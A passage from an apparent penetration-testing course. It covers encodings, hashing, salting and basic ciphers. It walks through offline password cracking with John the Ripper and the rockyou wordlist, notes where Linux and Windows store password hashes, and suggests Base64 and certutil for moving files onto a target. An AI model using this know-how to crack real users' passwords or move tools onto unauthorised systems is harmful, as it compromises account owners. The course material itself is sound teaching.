Listing 6 - Hexadecimal representation
We can be similarly precise with binary by using the prefix "0b", as in 0b11
and 0b110.
The useful thing about hexadecimal is that it is both machine-
and human-readable. It is legible for humans because extending our
familiar number system with a few extra values is relatively intuitive
once we get used to the idea. It's also easier for machines to
process, because 16 is a power of 2, whereas 10 is not.
We can represent one numeral of a hexadecimal number, sometimes
called a "hex", with just four binary bits. Let's add to our
decimal-to-binary conversion chart from earlier:
| Decimal | Binary | Hexadecimal |
|---|---|---|
| 0 | 0b0 | 0x0 |
| 1 | 0b1 | 0x1 |
| 2 | 0b10 | 0x2 |
| 3 | 0b11 | 0x3 |
| 4 | 0b100 | 0x4 |
| 5 | 0b101 | 0x5 |
| 6 | 0b110 | 0x6 |
| 7 | 0b111 | 0x7 |
| 8 | 0b1000 | 0x8 |
| 9 | 0b1001 | 0x9 |
| 10 | 0b1010 | 0xa |
| 11 | 0b1011 | 0xb |
| 12 | 0b1100 | 0xc |
| 13 | 0b1101 | 0xd |
| 14 | 0b1110 | 0xe |
| 15 | 0b1111 | 0xf |
Table 2 - Decimal, binary and hexadecimal conversion chart
Notice how we need four bits of binary to account for the full range
of hexidecimal numerals. This means a byte, which is eight binary
bits of data, includes exactly two hexadecimal numerals. For example,
we might read "Ox42", which is the hexadecimal representation of the
decimal number 66. The highest number we can fit into a single byte is
0b11111111, 0xff, or decimal 255.
Here that powers of 2 make their appearance again. 255
is (2^8)-1, but since we begin counting with 0, we can fit 256 values
into one byte.
Now that we understand the basics of the hexidecimal number system,
let's consider some applications. Compiled executable files often
contain values that cannot be represented using traditional basic
alphabet characters. However, we can represent those values as
hex-encoded, and with practice we can quickly get used to recognizing
whether we are observing at a character that can be printed or not.
Hexadecimal encoding is also critical for understanding memory
addresses. Any time we are talking about memory addresses, whether
we are developing an exploit or perhaps trying to perform a forensic
investigation, we always use hex-encoded addresses.
Most Linux distributions include the xxd[267]^,[268] tool by
default. This tool can be used to view file contents in hexadecimal or
binary.
Let's create a file called test.txt that contains the string
"offsec". Next, we'll view the hex-encoded representation
of our text file. We can use the -l flag along with the
length in bytes we want to view.
kali@kali:~$ echo "offsec" > test.txt
kali@kali:~$ xxd -l 16 test.txt
00000000: 6f66 6665 6e73 6976 6520 7365 6375 7269 offensive securi
Listing 7 - using xxd on a text file
Each character represents one byte, so when we specify a length of 16,
we only get the first 16 bytes as output. The -o flag can be
used to specify an offset.
kali@kali:~$ xxd -l 16 -o 4 test.txt
00000004: 6f66 6665 6e73 6976 6520 7365 6375 7269 offensive securi
Listing 8 - using xxd on a text file with offset
This can be helpful when dealing with memory addresses, something both
defenders and attackers may find valuable.
There are many uses for hexadecimal encoding and understanding how it
works can be very useful in an information security career.
American Standard Code for Information Interchange
(ASCII)[269] is a type of encoding used to store and process
both printable and non-printable characters. It is the default
encoding scheme for most text in modern computing. Most text and
binary files will be encoded with ASCII.
In ASCII every character is represented with a 7-bit binary number, a
string of seven 0s or 1s. ASCII contains encoding for all the
alphanumeric characters and symbols on a modern keyboard, as well as
encoding for things like TABs, Line Feeds, and even Backspaces.
Encoding Part II
This Learning Unit covers the following Learning Objectives:
- Understand Unicode, UTF, and Base64 encoding
- Gain experience encoding to and from these formats
Unicode[270] is a standard that provides a number, or unique
code point, for each character. Another way to say this is that each
character is mapped to a unique value.
Unicode includes numbers and characters from the familiar Latin
alphabet, for example, U+0041 for the Latin uppercase letter "A".
There are also Unicode numbers for each character in, for example,
the Cyrillic, Thai, and Hangul alphabets. In total, there are over
a million (a total of 1,112,064) mapped visible and non-visible
characters.
Unicode Transformation Format (UTF) is a way to encode these Unicode
mappings. The most common forms of UTF are UTF-8,[271] which uses 8
bits, or 1-byte unit, and UTF-16, which uses 16 bits, or 2-byte units.
UTF-8 was designed to be backward compatible with
ASCII.[272] The first 128 characters of Unicode are
identical with ASCII characters, and UTF-8 uses a single byte with the
same binary values to represent them. For example, an uppercase "A" is
UTF-8 encoded as 41 and it is also ASCII Hex encoded as 41. This means
that valid ASCII text is also valid UTF-8 encoded Unicode.
Let's quickly check the file type of our test.txt
file from earlier and then use the iconv command to
convert[273] it to a UTF-8 encoded file.
kali@kali:~$ file test.txt
test.txt: ASCII text
kali@kali:~$ iconv -f ASCII -t UTF-8 test.txt -o test2.txt
kali@kali:~$ file test2.txt
test2.txt: ASCII text
Listing 9 - using iconv to convert ASCII to UTF-8
The results of the second file test2.txt seem confusing at
first glance. We recommend reviewing the last few paragraphs covering
UTF-8 to determine if you can understand why file still
reports that our file is encoded in ASCII after the conversion.
Base64 encoding is hugely important because it allows us to transfer
binary data over channels that can only represent text data. Imagine
needing to transfer a binary executable file electronically. We
mentioned before that binary data can consist of characters that
fall outside of the scope of a basic printable set, such as numbers,
letters, and punctuation. If the protocol we are using to transfer our
file only supports printable characters, we could have a problem.
This is where Base64 shines. It essentially converts any binary data
into an encoded sequence of printable characters, allowing us to
transfer that data over virtually any channel and protocol. Base64
gets its name from its use of 64 characters.
1-26: A to Z
27-52: a to z
53-62: 0 to 9
63: +
64: /
Listing 10 - Base64 character set
As we will learn in a moment, the "=" character might be used in the
visual representation of this encoding as well, but only at the end
of a string for padding. Note that the characters a-z and A-Z are
considered separately since Base64 is case sensitive.
Base64 works by converting every three-bytes of binary data into
four Base64 characters. Each three byte sequence is called a
block. 3x8 bytes of input produces 4x6 Base64 bytes of output.
When the input is indivisible by six, we add zeroes at the end of the
input string to pad it, so that it becomes divisible. Base64 output
will contain an "=" character if the last block of input was only two
bytes (without the added zeros). It will contain two "=" characters
if the last block of input was only one byte. Note that Base64 encoded
strings are always longer than the original text because regular
bytes have eight bits and Base64 characters usually only have six bits
of data.
From a security perspective, if we find a string that ends with an
equals (=) character, it is quite likely some data encoded with Base64.
This allows for an easy means of identification. Base64 also provides
an easy means of transferring data between two systems, simply by
copying and pasting text. This makes it ideal for moving tools onto a
target system during a penetration test, for example.
Base64 encoding can be difficult to learn in the abstract. To
understand more about it, let's observe it in action. We can do Base64
encoding from the command line by using the base64[255-1] command,
which is available on most Linux distributions by default.
Let's use echo -n, and then add our string to be encoded,
which is "Example text". We'll pipe that to the base64
command.
kali@kali:~$ echo "Example text" | base64
RXhhbXBsZSB0ZXh0Cg==
Listing 11 - Base64 encode example
The result, "RXhhbXBsZSB0ZXh0Cg==", is our new Base64 encoded string.
The echo command appends an invisible new line character[167-1] to the end of
the text by default. If we want to encode an exact string inside the
quotation marks, we can use the -n switch, which prevents echo from
appending the new line character.
Now let's try to go in the opposite direction and decode our new
string. To do this, we'll echo "RXhhbXBsZSB0ZXh0Cg==" to the base64
command again, but this time with the -d switch to decode
rather than encode.
kali@kali:~$ echo RXhhbXBsZSB0ZXh0Cg== | base64 -d
Example text
kali@kali:~$
Listing 12 - Base64 decode example
Note that the output, "Example text" includes a new line character,
which is why the command line prompt is on a new line. If we did
listing 11 with the -n switch, we would have
received a different result (which would not include the new line
character). Decoding that result would put our output and the command
line prompt on the same line.
kali@kali:~$ echo -n "Example text" | base64
RXhhbXBsZSB0ZXh0
kali@kali:~$ echo RXhhbXBsZSB0ZXh0 | base64 -d
Example text kali@kali:~$
Listing 11 - Base64 encoding and decoding without the new line character
On a Windows machine, we can leverage the certutil.exe[274]^,
[275] command-line application to Base64 encode and decode
files. Since certutil operates on files, we will need to begin by
placing our Base64 encoded string into a simple text file. We'll
create a file called Base64.txt.
Then we can use certutil with the -decode switch.
certutil also requires input and output filenames as parameters. We
have our input filename already, and we'll use outb64.txt for
our output filename.
c:\Users\User>echo RXhhbXBsZSB0ZXh0 > Base64.txt
c:\Users\User>certutil -decode Base64.txt outb64.txt
Input Length = 19
Output Length = 12
CertUtil: -decode command completed successfully.
c:\Users\User>type outb64.txt
Example text
c:\Users\User>
Listing 13 - Base64 decode example on Windows
When we use the type command to show the contents of our
output file, we find that we were able to successfully decode the
text.
For this set of exercises, imagine that you have found an unknown but
interesting file after gaining access to a Windows machine during a
penetration test. You need to transfer the file to your Kali machine
using tools available on the Windows box, determine the file type, and
then view the contents of the file.
Hashing
This Learning Unit covers the following Learning Objectives:
- Understand hashing and how it differs from encoding
- Understand checksums and verify checksums
Hashing[276] is a transformation of variable-sized input data to
a fixed-size hexadecimal output. This output is often called a hash,
or a digest. Perhaps the most important thing about hashing is that
it only works in one direction. It is easy to take arbitrary input
and produce a hash, but it is difficult to take a hash and produce the
original input. This property of "one-way-ness" is what makes hashing
so useful.
When we did decimal to binary encoding, we were able to quickly and
easily encode decimal 7 to binary 111. We were further able to decode
111 back to 7 without any trouble. This is not the case with hashing,
where the digest cannot be easily converted back to the original
data.
Another important property of hashing is that even the smallest change
in the input data can greatly change the resulting digest. Because
of this, hashing is often used to verify the integrity of some input
data.
Let's consider an example. If we have two very large PDF documents
and we suspect they are the same, we can try and confirm this
by opening them up side-by-side and reading sentence by sentence,
checking every word and every piece of punctuation. Alternatively, we
can simply hash both PDFs. Since any small change would result in a
different hash, we know that if the hashes are the same, the PDFs are
identical.
There are many common hashing algorithms, including MD5, SHA-1, SHA-2,
and NTLM. These algorithms often differ in the length of the digest.
It may help to begin by using the MD5 hashing algorithm and the
md5sum[277] utility to get familiar with hashing.
Note that MD5 is no longer considered secure because it has
become possible to obtain the original input due to certain flaws in
the algorithm.
One of the common applications for hashing is calculating checksums.
Checksums are used to prove the integrity of the transmitted data.
If the checksums calculated on the sender's side are the same as
the ones calculated after the data transmission, it means that the
transmitted data are intact. The most common hashing algorithms are
MD5, SHA-1, SHA-256, and SHA-512.
On most Linux distributions, the following tools are
installed automatically and can be used to calculate hashes:
md5sum,[277-1] sha1sum,[278] sha256sum,[279] and
sha512sum.[280] By default, they read text from standard
input, but we can also provide a file name as a parameter.
On Windows operating systems, we can use the built-in
certutil.exe[274-1] utility to calculate hashes of files using
various algorithms.
As an example, let's calculate the sha256 hash of a file with
certutil. To do this, we'll pass the -hashfile
parameter with a filename (file in our case) and the
sha256 hashing algorithm.
C:\Users\User> certutil -hashfile file sha256
SHA256 hash of file:
d8d934a2fe58cd41496fb61648143b3cf81edfdf5fa5e75d67104bdfb16cb5e9
CertUtil: -hashfile command completed successfully.
Listing 14 - Hashing the content of a file on Windows
Once the output of md5sum, sha1sum, sha256sum, or sha512sum is saved
to a file, we can use this file to compare the calculated hashes
against the stored ones.
kali@kali:~$ echo test1 > test1.txt
kali@kali:~$ echo test2 > test2.txt
kali@kali:~$ echo test3 > test3.txt
kali@kali:~$ sha256sum test1.txt test2.txt test3.txt > tests.sha256
kali@kali:~$ cat tests.sha256
634b027b1b69e1242d40d53e312b3b4ac7710f55be81f289b549446ef6778bee test1.txt
7d6fd7774f0d87624da6dcf16d0d3d104c3191e771fbe2f39c86aed4b2bf1a0f test2.txt
ab03c34f1ece08211fe2a8039fd6424199b3f5d7b55ff13b1134b364776c45c5 test3.txt
kali@kali:~$ sha256sum -c tests.sha256
test1.txt: OK
test2.txt: OK
test3.txt: OK
Listing 15 - Example of how to verify file hashes
In this example, we created three test files and saved their
SHA256 hashes to the file tests.sha256. Then we used
sha256sum with the -c switch to check
the on-the-fly calculated hashes of the test files with their hashes
stored within the tests.sha256 file.
Password Security
This Learning Unit covers the following Learning Objectives:
- Understand hashing as it applies to password storage
- Understand salting
- Gain a basic intuition of the mechanisms involved in password
cracking
An extremely important application of data hashing is password
storage. On most systems, only the hashes of passwords are stored.
If passwords are saved as they are entered by a user in plaintext,
an adversary could obtain access to them by compromising the system's
database. However, if the passwords are first hashed and then
stored, the same level of compromise would have less impact. Even
if the attacker manages to compromise the database, the passwords
themselves remain unknown. During the authentication procedure, the
system calculates the hash of the provided password and checks if the
calculated hash matches the stored digest belonging to that user.
It is important to note that despite the intended one-way nature of a
hashing algorithm, this does not guarantee that a password cannot be
recovered, given a specific hash. One method by which we could obtain
a password given a hash is by the aptly named use of brute force
techniques.
Since there is no way to reverse the hash back to its original input,
we can simply try hashing as many different passwords as possible
using the known hashing algorithm. We compare every generated hash
with the one we are trying to recover. If we find a match, we now know
the original password.
While this may sound like a futile process that could take years, some
techniques and tools can make cracking a password hash happen much
quicker, depending on the strength of the password and the hashing
algorithm. This is one of several reasons why it is important to use
strong passwords.
What do we mean by "strong passwords"? With respect to brute forcing,
a password's strength is a function of its length and its
complexity. If we want to make a password stronger, increasing
its length usually has more defensive utility than increasing
its complexity. This is because every additional character in
the password increases the time it takes to brute force it by an
exponential amount. By contrast, raising a password's allowed
character set only increases the time it takes to brute force it by a
polynomial amount.
Let's consider an example. Imagine you are trying to break a 4-digit
PIN with brute force. We can calculate the number of tries you'll
need to make by taking the character complexity raised to the power
of the number of digits that are allowed in the password. In this
case, there are ten possible values for each digit, and there are four
digits. Therefore, it will take 10^4, or 10000 tries to crack the
PIN.
Next, you wish to increase the number of tries it will take to crack
the PIN. You can do so either by increasing the number of digits
allowed in the PIN, or by allowing more possibilities per digit.
First, you try to increase the character complexity by two. You allow
the digits 0 through 9, as well as the letters A and B to be used in
the PIN. We can calculate the cost of brute forcing the new PIN as
follows: 12^4 = 20,736 possible tries.
This may seem pretty good since you have more than doubled the cost of
brute forcing the PIN. However, let's review what happens if you leave
the character complexity alone, and instead increase the number of
characters in the PIN by the same value of two. How many tries would
we need to make to crack this third PIN? 10^6, or 1,000,000. It would
take 100 times more tries to brute force the improved PIN compared to
the original, rather than merely double.
Let's spend a bit more time learning about password hashes so that we
have a better understanding of how to crack them.
On Linux distributions, password hashes are stored in the
/etc/shadow file, which can be read only with
administrative privileges. The hashes are in the following format:
"$id$salt$hash". Let’s review a few common examples.[281]
$1$: MD5-based crypt ('md5crypt')
$2$: Blowfish-based crypt ('bcrypt')[^bcrypt]
$sha1$: SHA-1-based crypt ('sha1crypt')
$5$: SHA-256-based crypt ('sha256crypt')
$6$: SHA-512-based crypt ('sha512crypt')
Listing 16 - Example password hashing functions
Password hashes typically indicate which hashing algorithm produced
it. This indicator is usually a numeric value located between the
first and the second dollar sign. We'll ignore the term salt for
now, and return to it in a later section.
On Windows operating systems, user password hashes are stored in the
Security Account Manager (SAM).[282] Entries in the SAM file are
stored in the following format: "uid:rid:lm hash:ntlm hash".
Let's examine an example hash for the password "password".
User:1001:E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C:::
Listing 17 - Example password hash
LM and NTLM are two different hashing algorithms Windows has used
to store passwords. LM hashing is now obsolete and disabled in newer
versions of Windows. This is because it is significantly weaker
than NTLM, in that it only allows about 140 different characters in
its passwords, compared to NTLM's significantly more numerous 65536
(essentially, a majority of the Unicode character set). In addition,
LM converts all of its characters to uppercase, regardless of their
original case. This further limits the number of potential passwords
that can be hashed under NTLM. Because LM authentication is disabled,
the LM hash portion of modern Windows hash strings contains the hash
of an empty string (aad3b435b51404eeaad3b435b51404ee).
On most modern Windows systems, we can assume that the hash used for
authentication will be the NT hash. NT or NTLM hashes are sometimes
referred to by Microsoft and other programs as the NTHash.
Several ways to identify the type of a given hash.
The most simple way is if we have the full password hash line.
This was the case in Listing 16, where we read the
/etc/shadow file. This was also the case in Listing
17, where we could read the Windows LM/NTLM hash pair.
Kali Linux provides tools such as hash-identifier[283]
and hashid,[284] which can help identify the types of many kinds
of hashes.
A salt is an ideally random, unique generated string. The
salt is mixed with the cleartext input (for example, appended
to it), and then the hash is calculated for the mixed
string.[285]^,[286]
Let's examine why salting is useful.
Let's imagine that we have access to a database and we can observe
the MD5 hash fd9edfb25da9042f7c56353956af97a3. We might be able to
recognize that this is the MD5 hash of the string "openup" with a
simple password cracking tool, which we will explore later. We might
even recognize it as belonging to another user account that we already
have access to.
Given a specific hashing algorithm, the same password will always
produce the same hash, unless a salt is used. An adversary that
obtains access to the hashes may be able to identify common or weak
passwords like "openup" by using tools that check for the hashes of
commonly used passwords.
Usually, the salt is saved next to the hash itself and separated with
some kind of delimiter, like a dollar sign or a colon. Salting is also
a protection against rainbow table attacks[287] since the
hash is not derived from the cleartext password only.
Let's examine salting in practice. We know that our weak password
"openup" produces the MD5 hash fd9edfb25da9042f7c56353956af97a3. If
we were to prepend a random salt to the password, we would obtain a
different hash value. For example, let's add the salt "om3b2x".
The string "om3b2x:openup" produces the MD5 hash
4cfd6c245eca0bd0af0851105a117a25. If an attacker were to obtain
this new hash by accessing the database, they would have a much
more difficult time cracking the password than if they obtained the
original.
One additional implication of salting is that a different user of
the machine could select the same password as we did, but
they would receive a different salt, and therefore a different hash.
For instance, they could receive the salt "2kab0i". "2kab0i:openup"
produces the MD5 hash e48428442da00a364084b5e40607fda3. This is an
entirely different value than our hash, even though we both chose the
same password.
Password cracking refers to a broad range of attacks that seek to
establish the password of a user or service via illegitimate means. We
can categorize password cracking based on the method used to determine
a correct password. We might try logging in to a live system or we
might already have access to the stored hash of a password. The first
context is called online cracking and the latter is called offline
cracking. The main difference is that online login attempts leave a
trace on the system, and frequent attempts can either trigger an alert
or suspend the account.
Offline password cracking is preferable because it is much more
discreet. Once we have access to a hash, we can use significant
local computation resources to try to reproduce the same hash,
either with brute force[288] attacks, or via
dictionary-based[289] attacks.
As mentioned earlier, brute force attacks will try every possible
combination of a character set for the given maximum length of a
password. In practice, we can often make this process more efficient
by making a few assumptions. For example, we might assume that the
first letter is more likely to be capitalized than other letters.
We can also prioritize attempts by favoring words that contain more
commonly used characters, and so on.
Dictionary attacks are a special form of brute force. A dictionary in
this case is a list of words that can be tried as passwords. In this
context, a dictionary is also sometimes called a wordlist.
One dictionary that is quite common is called "rockyou". In 2009, a
company called RockYou suffered a breach. This data breach included
all of their passwords, which had been stored in plain text, and the
complete list of passwords later became public. Since it contains a
huge number of common passwords, it's a popular tool for dictionary
attacks. Due to its size, Kali Linux contains this list in a
compressed format at /usr/share/wordlists/rockyou.txt.gz.
John the Ripper[290] is a command-line-based password cracking
tool. Let's explore at how we can use John to crack a password by
using the rockyou wordlist.
We will begin by copying the rockyou.txt.gz compressed
gzip file to the home directory, then decompressing it with the
gunzip command. Once we've done that, we'll place an example
hash into a file, called ntlm.hash, then we'll use John the
Ripper to crack the password.
kali@kali:~$ cp /usr/share/wordlists/rockyou.txt.gz .; gunzip rockyou.txt.gz
kali@kali:~$ echo "User:1001:aad3b435b51404eeaad3b435b51404ee:4056DA565EFF865C23687B2D1CEF8242:::" > ntlm.hash
kali@kali:~$ /usr/sbin/john -wordlist=rockyou.txt ntlm.hash
Created directory: /home/kali/.john
Warning: detected hash type "LM", but the string is also recognized as "NT"
Use the "--format=NT" option to force loading these as that type instead
Using default input encoding: UTF-8
Using default target encoding: CP850
Loaded 1 password hash (LM [DES 256/256 AVX2])
Warning: poor OpenMP scalability for this hash type, consider --fork=4
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
(User)
1g 0:00:00:00 DONE (2021-03-08 09:48) 100.0g/s 1638Kp/s 1638Kc/s 1638KC/s 123456..MUSTANG
Use the "--show --format=LM" options to display all of the cracked passwords reliably
Session completed
Listing 18 - Example cracking an LM password
Since the format of NTLM and LM hashes are identical, John isn't able
to immediately tell which kind of hash we supplied it. We observe
that John cracked the empty LM password; however, recall that LM is
no longer used by Windows. John also notified us that an NT hash was
recognized. We can use the --format=NT option to specify that
we want John to assume that the hash was produced by NTLM.
kali@kali:~$ /usr/sbin/john -wordlist=rockyou.txt ntlm.hash --format=NT
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
user00 (User)
1g 0:00:00:00 DONE (2021-03-08 09:51) 7.692g/s 22816Kp/s 22816Kc/s 22816KC/s user7783..usefull
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed
Listing 18 - Example cracking an NT hash
John the Ripper was able to crack the NT hash, and we learn that the
cleartext password is "user00".
Symmetric-Key Encryption
This Learning Unit covers the following Learning Objectives:
- Understand the basics of symmetric key encryption
- Understand different types of ciphers
- Recognize common encryption algorithms
Where hashing is often used to protect the integrity of data,
encryption is used to protect its confidentiality. As we already
know, there are numerous reasons for keeping data secure. Storing
and transmitting things like bank account information, corporate
intellectual property, and even national secrets should all warrant
the use of encryption.
For information security professionals, one of the many reasons
encryption is important is because it allows us to handle client data
securely. Security consultants often do their job while traversing
public and potentially hostile networks. Protecting client data is
absolutely critical. This is where the use of secure and encrypted
communication channels, using SSH for example, comes in handy.
There are two main types of encryption mechanisms: symmetric-key and
asymmetric-key encryption.
First, we must understand the concept of a cryptographic key. Like a
physical key, a cryptographic key is (usually) a unique entity that
pairs with a specific thing that will be opened or unlocked. Keys
generally have the property of being hard to replicate. Unless you
are a talented locksmith, you will be unable to recreate an adequate
copy of a key (assuming you do not have the original key in your
possession). This is the case even if you know the exact model and
specifications of the lock you hope to open.
In cryptography, a key is a string of unique characters. When it is
applied along with a cryptographic algorithm to a message, it can be
used to encrypt or decrypt the message.
Symmetric-key algorithms[291] use the same key
for encrypting the plaintext (also sometimes called cleartext) into
ciphertext and for decrypting the ciphertext back into plaintext.
As one can imagine, a critical part of this mechanism is that the
encryption key must remain secret. Despite this, it must somehow
be shared between (at least) two agents who would like to exchange
information together securely.
If this key were to become public, anyone with the key could decrypt
the information that was exchanged between the intended parties.
This makes symmetric-key encryption entirely dependent on continued
maintenance of the key's secrecy. One way to think about this is that
symmetric-key encryption raises our concern about confidentiality
one level up. Instead of worrying over the secure transmission of
data itself, symmetric-key encryption would have us worry over the
transmission of the key instead. Therefore, symmetric-key encryption
isn't a complete solution to data confidentiality. We will notice that
it is still valuable for certain use cases, although it appears to
merely shift the problem rather than solve it.
Sometimes the term "passphrase" is used as a synonym for "key".
"Passphrase" can also be used to refer to a password that protects a
given key.
An example of a symmetric-key encryption algorithm is a so-called
Caesar cipher,[292] named after the Roman general Julius Caesar.
A Caesar cipher for the English alphabet can be implemented by picking
any number between 1 and 25, as well as a direction (left or right).
The number plus the direction are combined and used as an extremely
primitive and weak symmetric key. Once the key is determined, we
can encrypt any English message by shifting every character in the
message by the value of the key.
For example, say that we decide to use a key of 5-right, and wish to
encrypt the message "Try Harder".
Once we apply the chosen key to this message, we would get the
ciphertext "Ywd Mfwijw".
Every letter in the phrase has been shifted forward by 5. This may be
easiest to understand by comparing the letter "a" to the letter "f".
To decrypt the message, we would simply apply the key in the opposite
direction, shifting every character of the ciphertext backward by 5.
Note that our cipher does nothing to hide or obfuscate the use of
uppercase characters.
Caesar-ciphers keys like this one are often identified with the "ROT"
prefix, because they rotate each letter by N places in the alphabet.
The above example uses the ROT5 key. ROT13[293] is a particularly
popular cipher since the English alphabet is composed of 26 letters.
When a given letter is encrypted with ROT13, it gets replaced with the
13th letter after it in the alphabet. Since 13 is halfway through 26,
we no longer need to care about the direction of the cipher: shifting
a character either forward or backward will produce the same output.
Therefore, both encryption and decryption can be done by shifting in
either direction.
Even though Caesar-ciphers (as well as the more general
class of substitution ciphers) are considered quite weak, they are
accurately classified as encryption methods rather than encoding
methods. An encoding algorithm requires only some fixed transformation
of data, but it makes no effort to stop its output from being
reversed. Encryption algorithms, on the other hand, are intended to
be one-way functions: ideally, unless the encryption key is known,
ciphertext should be difficult to reverse back into plaintext.
Encoding's purpose is to transform and preserve data, while
encryption's purpose is to keep it secret.
To reproduce ROT13, we can use the built-in tr[294] command on Kali
Linux. Tr can translate letters based on the provided parameters. The
command below provides ROT13 functionality.
tr 'A-Za-z' 'N-ZA-Mn-za-m'
Listing 19 - ROT13 implementation with tr linux utility
This command translates alphabet letters between A through Z, and a
through z to the corresponding characters between N Through M and n
through m.
Let's check out a quick and simple example of ROT13 encryption.
kali@kali:~$ echo text to encrypt | tr 'A-Za-z' 'N-ZA-Mn-za-m'
grkg gb rapelcg
Listing 20 - ROT13 encode with tr command
In the example above, we piped the output of the echo
command, which was the string "text to encrypt" to tr. Let's
do the same encryption again, this time using the output we received
as a result of the encryption.
kali@kali:~$ echo grkg gb rapelcg | tr 'A-Za-z' 'N-ZA-Mn-za-m'
text to encrypt
Listing 21 - ROT13 decode with tr command
In the example above, we used the same tr command to decode the
encoded string.
Another simple encryption cipher is the XOR cipher.[295] It is
arguably equally popular and only slightly stronger than substitution
ciphers. It is a symmetric-key algorithm based on the bitwise XOR
operation. Depending on the input plaintext and the key, the output
ciphertext might fall outside of the alphabet character set. In those
cases, characters are represented in hexadecimal format.
XOR ciphers are sometimes used in malicious software to
prevent an analyst from easily deciphering what the application is
doing. By XOR-ing machine instructions, a hacker can try to make it
more difficult to do static analysis of a malicious application, since
the encrypted data will not represent valid machine instructions.
Let's review a very simple XOR example using Python.
#!/usr/bin/python3
from itertools import cycle
key = 'K'
message = 'text to encrypt'
cryptedMessage = ''.join(chr(ord(c)^ord(k)) for c,k in zip(message, cycle(key)))
print(cryptedMessage)
print(cryptedMessage.encode())
plaintext = ''.join(chr(ord(c)^ord(k)) for c,k in zip(cryptedMessage, cycle(key)))
print(plaintext)
Listing 22 - Example XOR cipher implementation in Python
In the example implementation, we define key and message variables.
Message is the cleartext. CryptedMessage is the XOR encrypted
message. Each character of the cleartext message is XOR'd with each
character of the key. Ideally, the key should be at least as long as
the message. If it's not long enough, the key will be used multiple
times, which could make the cryptedMessage vulnerable to something
called frequency analysis.
Frequency analysis is the study of how often a particular character
or pattern of characters arises in a given ciphertext. Since languages
tend to abide by certain patterns (for example, the most common
letter in the English language is "e"), an attacker with sufficient
ciphertext may be able to crack a cipher simply by observing such
patterns.
Next, we print the raw value of the cryptedMessage variable and its
byte array version by using the encode method.
Finally, we XOR cryptedMessage with the same key, and store the
result in the plaintext variable. The output shows that the value
of the plaintext variable is identical to the content of the message
variable.
Now that we have a basic understanding of symmetric key encryption,
we can review some of the common algorithms in use today. Please note,
the mathematical details of these algorithms are significantly beyond
the scope of this Learning Unit. What is important to understand
is how these functions work at a high level, and what they can (and
cannot) be used for.
The Blowfish cipher was created by cryptographer and security expert
Bruce Schneier in 1993. It is a block cipher, meaning that it
operates on plaintext by converting it to ciphertext one "block" at a
time, where a block is some number of bytes greater than one.
For example, a 16-bit block cipher would take in the plaintext "Try
Harder" and operate first on the string "Try ", then on "Hard", and
finally on "er".
Note that in practice, block ciphers that are smaller than 64-bits are
considered weak.
Blowfish is a 64-bit block cipher, so the algorithm operates on eight
bytes of plaintext at a time. By contrast, the Caesar and XOR ciphers
are considered stream ciphers because they operate on plaintext
only one byte at a time (i.e, each letter of the plaintext is modified
independently).
We can start playing around with Blowfish and other encryption
ciphers by using the gpg command-line tool, which is already
installed on Kali Linux.
GNU Privacy Guard (GPG)[296] is a free and open-source rendition of
Pretty Good Privacy (PGP), which is a cryptographic product usually
used for email encryption.
We'll begin by creating a file we wish to encrypt. Then, we'll
use gpg with the -c flag to select symmetric-key
encryption, and the --cipher-algo- flag to pick our cipher.
kali@kali:~$ echo "Let's try some symmetric-key encryption." > blowfish.plain
kali@kali:~$ gpg -c --cipher-algo blowfish blowfish.plain
kali@kali:~$
Listing 23 - Encrypting a file with Blowfish
Upon entering the command, we'll be prompted to enter a passphrase to
encrypt the file with. We'll use the passphrase "onefishtwofish". GPG
will warn us that the chosen passphrase is weak, but we'll go ahead
and use it anyway.
Once we have encrypted the cleartext file, we'll notice a new document
inside our working directory, blowfish.plain.gpg. If we wanted
to, we could have specified the name of the encrypted file with the
--output flag. We'll also note that the encrypted file is about
three times as large as the original and that its file type has
changed from regular ASCII text to encrypted data.
kali@kali:~$ ls -l blowfish*
-rw-r--r-- 1 kali kali 40 Apr 19 13:34 blowfish.plain
-rw-r--r-- 1 kali kali 116 Apr 19 13:38 blowfish.plain.gpg
kali@kali:~$ file blowfish.plain.gpg
blowfish.plain.gpg: GPG symmetrically encrypted data (BLOWFISH cipher)
kali@kali:~$ cat blowfish.plain.gpg
�W��'xBR��c:{rv��������3�7|"�@������O-]�!��NN�j���
��;L�Pud�Q׆!�}g�bi�B?���g�9���/E��r���5����ٺ
Listing 24 - Checking the results of the Blowfish encryption
To decrypt the file, we simply need to run gpg --decrypt
blowfish.plain.gpg. Decrypting with gpg sends
results to standard output, unless a file is designated with the
--output flag. Once again, we'll type in the passphrase when
prompted.
kali@kali:~$ gpg --decrypt blowfish.plain.gpg
gpg: BLOWFISH.CFB encrypted data
gpg: encrypted with 1 passphrase
Let's try some symmetric-key encryption.
Listing 25 - Decrypting the Blowfish ciphertext
Note that the gpg tool is capable of performing functions other
than symmetric-key encryption, like hashing, compression, and
asymmetric-key encryption as well.
The Advanced Encryption Standard (AES) is a family of symmetric-key
block ciphers. Where Blowfish uses a block size of 64 bits, AES uses
a 128-bit block size. This means that 16 bytes of data are operated on
by the algorithm at a time. Another difference between Blowfish and
AES is that the former employs a variable key size (between 32 and
448 bits), while the latter has three defined fixed variants (128-bit,
192-bit, and 256-bit). Blowfish uses the Feistel
network[297] where AES uses the Substitution–permutation
network.[298]
The mechanics of using GPG to encrypt and decrypt files with AES
are identical to how we did so with Blowfish. The command gpg
-c --cipher-algo aes256 <filename> will allow us to encrypt
a file. Let's use the same input and passphrase, and observe any
differences in the ciphertext.
kali@kali:~$ cp blowfish.plain aes256.plain
kali@kali:~$ gpg -c --cipher-algo aes256 aes256.plain
kali@kali:~$ ls -l aes256*
-rw-r--r-- 1 kali kali 40 Apr 19 16:23 aes256.plain
-rw-r--r-- 1 kali kali 122 Apr 19 16:24 aes256.plain.gpg
kali@kali:~$ file aes256.plain.gpg
aes256.plain.gpg: GPG symmetrically encrypted data (AES256 cipher)
kali@kali:~$ cat aes256.plain.gpg
� �����ߕ��i/3}� �0sK�M2�9��TC
�ZKh7�?�EC�����w��j(��uy����e�:��m�����|�▒�7^�-�3"���O�V�/�����ϑ�)m؍$z��9
Listing 26 - Encrypting some plaintext with AES256
We'll note that the output file is slightly larger than its Blowfish
equivalent, despite using the same plaintext and passphrase.
We can also decrypt the file in the same manner as before.
